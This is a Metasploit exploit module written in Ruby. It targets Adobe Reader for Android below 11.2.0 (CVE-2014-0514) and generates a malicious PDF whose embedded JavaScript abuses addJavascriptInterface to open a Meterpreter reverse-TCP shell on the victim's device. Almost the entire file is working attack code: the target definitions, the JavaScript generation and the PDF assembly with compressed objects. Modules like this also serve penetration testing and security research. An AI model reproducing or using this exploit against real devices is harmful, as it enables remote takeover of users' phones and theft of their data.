##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/fileformat'
require 'msf/core/exploit/pdf'
require 'msf/core/exploit/android'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::PDF
include Msf::Exploit::Android
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Reader for Android addJavascriptInterface Exploit',
'Description' => %q{
Adobe Reader versions less than 11.2.0 exposes insecure native
interfaces to untrusted javascript in a PDF. This module embeds the browser
exploit from android/webview_addjavascriptinterface into a PDF to get a
command shell on vulnerable versions of Reader.
},
'License' => MSF_LICENSE,
'Author' => [
'Yorick Koster', # discoverer
'joev' # msf module
],
'References' =>
[
[ 'CVE', '2014-0514' ],
[ 'EDB', '32884' ],
[ 'OSVDB', '105781' ],
],
'Platform' => 'android',
'DefaultOptions' => {
'PAYLOAD' => 'android/meterpreter/reverse_tcp'
},
'Targets' => [
[ 'Android ARM', {
'Platform' => 'android',
'Arch' => ARCH_ARMLE
}
],
[ 'Android MIPSLE', {
'Platform' => 'android',
'Arch' => ARCH_MIPSLE
}
],
[ 'Android X86', {
'Platform' => 'android',
'Arch' => ARCH_X86
}
]
],
'DisclosureDate' => 'Apr 13 2014',
'DefaultTarget' => 0
))
register_options([
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end
def exploit
print_status("Generating Javascript exploit...")
js = add_javascript_interface_exploit_js(ARCH_ARMLE)
print_status("Creating PDF...")
file_create(pdf(js))
end
def trailer(root_obj)
id = @xref.keys.max+1
"trailer" << eol << "<</Size %d/Root " % id << ioRef(root_obj) << ">>" << eol
end
def add_compressed(n, data)
add_object(n, Zlib::Inflate.inflate(Rex::Text.decode_base64(data)))
end
def pdf(js)
self.eol = "\x0d"
@xref = {}
@pdf = header('1.6')
add_compressed(25, "eJzjtbHRd0wuynfLL8pVMDFQMFAI0vdNLUlMSSxJVDAGc/0Sc1OLFYyNwBz/0pKczDwg3xzMDUhMB7INzcCc4ILMlNQiz7y0fAUjiOrgkqLS5JKQotTUoPz8EgVDiPkhlQWp+s5AC3Ly0+3seAG6CSa9")
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js = Zlib::Deflate.deflate(js)
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@xref_offset = @pdf.length
@pdf << xref_table << trailer(25) << startxref
@pdf
end
end
